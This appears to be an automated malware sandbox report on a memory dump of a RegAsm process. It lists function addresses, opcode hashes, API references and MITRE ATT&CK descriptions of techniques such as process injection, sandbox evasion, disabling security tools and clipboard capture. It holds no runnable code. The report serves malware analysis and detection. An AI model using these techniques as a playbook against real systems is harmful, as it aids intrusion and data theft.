Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: @QB
API String ID: 0-3030980731
Opcode ID: fa7d8ae5b693dd60f6850cd017a17b0abae062ab4b2c1048713c2209d971f0dc
Instruction ID: 6d0cb73502d01e38b06274afbc8596ab77b17627c4c691baab7245b414bc2194
Opcode Fuzzy Hash: fa7d8ae5b693dd60f6850cd017a17b0abae062ab4b2c1048713c2209d971f0dc
Instruction Fuzzy Hash: C8219F74A093109BC310AB18D851A3BB7F5EF93755F848A1DE4D59B392E338CD10CBA6

Function 0044B320 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

@, xrefs: 0044B370

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 405783dcd224cdf1397306dffb70641e0a1f7fae826e9b44d4411e2f7100f4cf
Instruction ID: a91349f1e9a40293b62091c3c1e01b002cddce6e5b6639776973f8a2a5a102dc
Opcode Fuzzy Hash: 405783dcd224cdf1397306dffb70641e0a1f7fae826e9b44d4411e2f7100f4cf
Instruction Fuzzy Hash: 493156705093009BE714DF25D980A2BFBF9FF8A314F14892DF9C897252D339D9048BAA

Function 0040C1C0 Relevance: .8, Instructions: 778COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4631f2e57031adde87b200ba4790210232e1e318b6d81c4360bce7a359158444
Instruction ID: 956be2415fbe3cf17e3c2b9217a92116aac390c51ce612f86c4722e2567f76f6
Opcode Fuzzy Hash: 4631f2e57031adde87b200ba4790210232e1e318b6d81c4360bce7a359158444
Instruction Fuzzy Hash: BF42B331508315CBC725DF18E88026BB3E2FFD4314F258A3ED996A7385D739A951CB8A

Function 00407450 Relevance: .7, Instructions: 658COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4890b7e1405b60d2036cc250fc21e402b4f197dab0f25acee06565f4f699a01d
Instruction ID: e9f524300c54591016e612151c2e6d16e79c1b555d40a7684eed9594cd61b04f
Opcode Fuzzy Hash: 4890b7e1405b60d2036cc250fc21e402b4f197dab0f25acee06565f4f699a01d
Instruction Fuzzy Hash: 9152B331A0C3458FCB15CF24C0906AABBE1BF85314F19897EE89A67391D778E945CF86

Function 0044A510 Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7a94d621f91307b6425b2df28a6db3f3defc87c09105d060c306e6a5a959a9
Instruction ID: 12bdd899994ea3f390c2677d5a8b46d1064a99c9932b785e2cc315b4497e3188
Opcode Fuzzy Hash: 0a7a94d621f91307b6425b2df28a6db3f3defc87c09105d060c306e6a5a959a9
Instruction Fuzzy Hash: EFB1BE31A09254DFD704DF28D99166EB7F1FB8A312F0A8829E889D7352D335ED20CB95

Function 00449D22 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfd3633d6ed618898280b2bfa9fcdb0017dbfca5d3d0489a1ceccd4b7ddeeab4
Instruction ID: ba77fbe9a575c5c0e3916e552f8b9e900528f4925402827c04f08fa9a54957d4
Opcode Fuzzy Hash: bfd3633d6ed618898280b2bfa9fcdb0017dbfca5d3d0489a1ceccd4b7ddeeab4
Instruction Fuzzy Hash: 6FB1BA76A04316CFDB00CF64E8A466EB7B1FB4A302F194869D9019B362D3349854DB95

Function 004142E4 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b39d16f317e8d19da953c30fd6ba31bcb37fca65e178eef6612cf70bcdbf204
Instruction ID: 777062db379b90a3490bb9d039b80cdec0e37db8c352507ae385cde0aeea2dbb
Opcode Fuzzy Hash: 4b39d16f317e8d19da953c30fd6ba31bcb37fca65e178eef6612cf70bcdbf204
Instruction Fuzzy Hash: 3AB159B4500B419FD3218F24CA80B67BBF5FF46705F04891DE8AA97A91E339F854CB69

Function 0044B430 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9d4a0865f99f740c6db4d1f545baa4b7358d8cded0662193f7d95dc8b470dc04
Instruction ID: 71323470c014a4a126a73179cc5a1ef60c16c30d165a2ed76876cba0ed87e0d4
Opcode Fuzzy Hash: 9d4a0865f99f740c6db4d1f545baa4b7358d8cded0662193f7d95dc8b470dc04
Instruction Fuzzy Hash: 0181C0706083019BE7109F68D880A2FB7E6FF95744F25882DE5C58B362D739EC54CB9A

Function 0040F7E3 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bc8c1bd5ce96e5f68242ff809a3884e59ac652b41232c3f29468b36261b81fa
Instruction ID: 70c147ec3628391604478acdee8e0d2f37a7db2c632e37ade1ef48e142da4b81
Opcode Fuzzy Hash: 6bc8c1bd5ce96e5f68242ff809a3884e59ac652b41232c3f29468b36261b81fa
Instruction Fuzzy Hash: 8E711075A142158BCB25CF68C8502BFB7B2BF9A301F18457AD841A77E2D3399809CB58

Function 00445DE0 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7831cf32dc2c0b8a978041a18ff1a4a9518294b4dfe30571e244d26eee5d1997
Instruction ID: b5ff81ec9e9af75986a4fac7fb74df821215003c5149bce377154884bf3d8d24
Opcode Fuzzy Hash: 7831cf32dc2c0b8a978041a18ff1a4a9518294b4dfe30571e244d26eee5d1997
Instruction Fuzzy Hash: B561E030608701ABEB10DF15D880B2BF7E6EB85314F24892EF59887362D739EC55CB5A

Function 00444970 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 742f14a2709897ecdbb5e48ca64229ac29e7b7e0da12c54bddaaaaba9491ebdf
Instruction ID: dc97e09a7f7da624c8807c98710862b4dce587ce3812b6c05e15904d13e63158
Opcode Fuzzy Hash: 742f14a2709897ecdbb5e48ca64229ac29e7b7e0da12c54bddaaaaba9491ebdf
Instruction Fuzzy Hash: 31518F716083409BE714DF29D880B2FB7E5EB85325F14892EF58497352C739E8148BAA

Function 0040F63A Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05d69a286e2430bbf8d7d29ed6800b71f8178752ddf9001bef238cf64567d83a
Instruction ID: 305a687461efa61535f20c4e30c50516a1adfbbcd579c48b290b171d3c892896
Opcode Fuzzy Hash: 05d69a286e2430bbf8d7d29ed6800b71f8178752ddf9001bef238cf64567d83a
Instruction Fuzzy Hash: BD413835A04210CFCB29CF28D8903BEB3B2FF5A311F18417AD801A7792D739A845C759

Function 00444BC0 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8fe51a964e94862e6280fd4530e8e23ea3388074881357ebe8cc1fa4d45db18
Instruction ID: dec6aa83464d3b4264dd44e35dd919ff3509ff86f22b815f22340c26f882f573
Opcode Fuzzy Hash: e8fe51a964e94862e6280fd4530e8e23ea3388074881357ebe8cc1fa4d45db18
Instruction Fuzzy Hash: 8951B3746092009BEB24DF55E980B2BB7E6EBC5305F18882EF4C587321D739DC10CB6A

Function 00405CF0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b49a934ef247a52156d8ec0288b7fb744e74ccf73bfd21c8170fa558b5e02194
Instruction ID: a93e7bb16f79f5bee52f37b023afbee245ecc507bf95419d7e2d32b41e93770e
Opcode Fuzzy Hash: b49a934ef247a52156d8ec0288b7fb744e74ccf73bfd21c8170fa558b5e02194
Instruction Fuzzy Hash: 8E51A0B5A046009FC714DF14C480927B7A1FF89328F15467EE899AB392D635ED42CFDA

Function 0044B010 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e751b8f787bac87f8cfd85bdda4c79210fa0da3de7a9e49238e203542471c3f4
Instruction ID: 67ff51331bc586e3258e30a007c696559b29967afb165d85162e472efda89275
Opcode Fuzzy Hash: e751b8f787bac87f8cfd85bdda4c79210fa0da3de7a9e49238e203542471c3f4
Instruction Fuzzy Hash: AB41CF74208300ABE7149F24DD91B2FB7E6EB85755F24882DF58897352D339EC10CB9A

Function 0044B1A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d7b21b20dac4ed1bd6ec73c56021cf920500350a9747a94f58476bfd9bcc6f6
Instruction ID: 7bb1e064a9e3fe809587a2e583d5bbbc0ac817289a77bfc4f351f9a1e2f1ca79
Opcode Fuzzy Hash: 0d7b21b20dac4ed1bd6ec73c56021cf920500350a9747a94f58476bfd9bcc6f6
Instruction Fuzzy Hash: F741AF34208300ABE7149F25ED94B2FB7E6FB85715F14886DF88957351D379E810CB9A

Function 00435519 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e24e261311531be54728c1f7de490a8c5844de532af9053c9630d86519809ba
Instruction ID: 7a9764bf3efe6304778dabb77bcc631861f8f1a38c5e90041bb2cad766b257b8
Opcode Fuzzy Hash: 7e24e261311531be54728c1f7de490a8c5844de532af9053c9630d86519809ba
Instruction Fuzzy Hash: 11416A72505F418FC324CB29C491363B7E2AF59324F699A1EC4AA47B91E338F805CB59

Function 00414692 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57a6c332c5d3211bb44ff9af79ab587ffb2f10c5d39c5de35afcf0ad077f2112
Instruction ID: a376e7b36b3188e4cd9addea55493a65cc0f09d2769b96ef42937a54c16a89e2
Opcode Fuzzy Hash: 57a6c332c5d3211bb44ff9af79ab587ffb2f10c5d39c5de35afcf0ad077f2112
Instruction Fuzzy Hash: 02313EB4500B009BD735CF24C480AA3BBF5BB59300F154A2ED49787752E779F989CB99

Function 0043FE90 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f0085e10853b1e2969aa1028db42883cbeaeadcd86b2518a4c6ae1f0978dd0f
Instruction ID: a7d9893a673cfc8e199ffc65db64a738f37302f500c8e91188f8a16d540f37a9
Opcode Fuzzy Hash: 9f0085e10853b1e2969aa1028db42883cbeaeadcd86b2518a4c6ae1f0978dd0f
Instruction Fuzzy Hash: 9C210332D082104BC3249B59848152BF7E5EB9E704F16A62FED84973A5E3389C1887EA

Function 00404CB0 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 609c9fe2b85b6fa7177e1b6ed724a188d16551f5cddb16224451ebaab9e6e429
Instruction ID: d5cb594caa8decbb0462b1d43e6d8ce9a9ace7f061841147579c4ba8b6174a16
Opcode Fuzzy Hash: 609c9fe2b85b6fa7177e1b6ed724a188d16551f5cddb16224451ebaab9e6e429
Instruction Fuzzy Hash: 5131BBB16042009BD7149F19D88092BB7E1EFC4319F14493EE999AB3D5D339EC42CB4A

Function 0043BFF0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 5cf3d3f30d9613fe2714edcff59f0b0304f0c98455ce6f2d5f572e95ba5a2b3d
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 10114C33A051D04EC31A8D7C844056ABFF30A97274F2D939AF4F5AB2D2D6278D8B8359

Function 00430CC0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaac78c8cd68a7ef2a1be881b231878366a9c247148d4d2edc3e404ad033c8a4
Instruction ID: ed189d3e896a10b0522a78e84ad2b8f9b6df22bdec7557734b8ad8c6367bbd7f
Opcode Fuzzy Hash: aaac78c8cd68a7ef2a1be881b231878366a9c247148d4d2edc3e404ad033c8a4
Instruction Fuzzy Hash: 4E019EB160030187E7209F65E4E072BA2E86F98708F18273EE80957342DB79EC098299

Function 0043910C Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59f5e468a665b6614cdaf652ec57e02a503b3cbdf54c46e0d058b3155dca0263
Instruction ID: 1143063129ae067a2310e813a7ac3cd5872c45bc9fc8c24add8bef49e4b85578
Opcode Fuzzy Hash: 59f5e468a665b6614cdaf652ec57e02a503b3cbdf54c46e0d058b3155dca0263
Instruction Fuzzy Hash: 3711F3F0901B00AFD360EF3AC94A747BAE8FB45350F508A0DE8AA87391D735A4048B96

Function 0041AB90 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6741416765b83c74a1c2c5cba02842341f77218c3f9d8f562cc197a6a78b22bd
Instruction ID: de6e10c6ac35777bcd7977231f09f0839b9338373d8b97cfe4fbdb5b7db4e514
Opcode Fuzzy Hash: 6741416765b83c74a1c2c5cba02842341f77218c3f9d8f562cc197a6a78b22bd
Instruction Fuzzy Hash: 31F027B1A0819017DB218D449C80FB7BBADCB87228F190456EA8157202E1356C9083EE

Function 00442410 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: e276e2e20c09421a09e08c01a3586b5c7f2cd1a113514abf4008fb378859171c
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: D1D0A72160832146AB788E1AA500977F7F0EAC7B11FC9A55FF582E3248D634DC41C2BD

Function 0043ACD2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0043AD1D
GetSystemMetrics.USER32 ref: 0043AD2C

Strings

, xrefs: 0043AE00

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 7c882c57007ae2b99843c88eb0c07b372622de9aeed33002503f8c382e2d4657
Instruction ID: d31701c45078c7d4269a8adf496a0dfe1e86747451595843b7a2005472f7adb8
Opcode Fuzzy Hash: 7c882c57007ae2b99843c88eb0c07b372622de9aeed33002503f8c382e2d4657
Instruction Fuzzy Hash: 9A5180B4E142189FDB40EFACD985A9EBBF0BB48310F11852DE858E7350D734A949CF86

Function 0043A77C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0043A7B1
GetSystemMetrics.USER32 ref: 0043A7C0

Strings

, xrefs: 0043A86B

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 013dc761e4909440771d46bafdb638bb20e567719734dc29c98b96e9aaa0edbc
Instruction ID: 5819706d29ef5a07fa912cd141edfc67d55658e54de8dc311193a39933180409
Opcode Fuzzy Hash: 013dc761e4909440771d46bafdb638bb20e567719734dc29c98b96e9aaa0edbc
Instruction Fuzzy Hash: 5C319FB49182009FDB00EF78D985A1EBBF4BB89304F11853DE898D7360D774A949CF86

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

